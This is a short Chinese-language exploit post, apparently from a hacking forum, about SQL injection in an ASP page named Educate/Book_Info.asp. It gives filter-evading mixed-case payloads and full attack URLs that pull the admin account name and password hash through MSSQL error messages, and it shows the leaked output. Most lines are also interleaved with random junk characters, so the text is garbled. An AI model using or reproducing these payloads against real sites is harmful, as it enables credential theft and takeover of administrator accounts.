漏洞出现在Educate/Book_Info.asp
: {1 R; Z$ K) c
' l6 Y4 `. W! C* p* V! S+ M$ W; L此处注入点虽然过滤了一些关键字 但是我们还是可以盲注的 可以利用sqlmap跑出 x( I {9 I! V+ e- K- U
: E7 k$ {) }0 X. k( C4 K
exp:如下
0 ?% X4 p2 O' u; [3 m$ w查询管理账号:+aNd+0=(selEct+toP+1+su_SupperName+frOm+pH_Web_Supper)2 z7 P8 @& N1 i$ }$ _' G
查询管理密码:+aNd+0=(selEct+toP+1+su_Password+frOm+pH_Web_Supper)5 ^, T1 l1 g) U& L
* I, Z% [9 a" D4 r W7 D7 M7 @http://www.xxx.com /Educate/Book_Info.asp?Param=20+aNd+0=(selEct+toP+1+su_SupperName+frOm+pH_Web_Supper)
& [; R9 j4 P9 o5 J' {
9 @0 W4 b& @# y' sMicrosoft OLE DB Provider for SQL Server 错误 '80040e07'
* H; A: i; X' S" p 8 T: g4 f( g" P2 c+ m, R+ ?: Y- m
将 nvarchar 值 'hackbase' 转换为数据类型为 int 的列时发生语法错误。' r4 Y6 V8 p8 G. h( _
% {0 }$ W) e: Y' Q1 K, @/Educate/Book_Info.asp,行 8
R2 c( r$ Z7 g+ f$ N( O- c % F. R2 d$ b1 @7 F3 y% W
http://www.xxx.com /Educate/Book_Info.asp?Param=20+aNd+0=(selEct+toP+1+su_Password+frOm+pH_Web_Supper)
! W, P2 H, k8 W% K! o4 D& s' S( A / V2 U6 Y: o+ [) @ X" |% ?
Microsoft OLE DB Provider for SQL Server 错误 '80040e07'
) Y1 W. a# @* c+ a
% f" c$ `1 A" |" ?. \8 }7 B' q将 nvarchar 值 '165706AD8319D7F95B7FC5E82FBE8F' 转换为数据类型为 int 的列时发生语法错误。
( z# A$ U0 T& p; G3 u5 Y3 d 3 L- Y- ]$ ] Q% S* O1 z2 k
/Educate/Book_Info.asp,行 8
8 z3 D$ \8 i! |) S* I, W |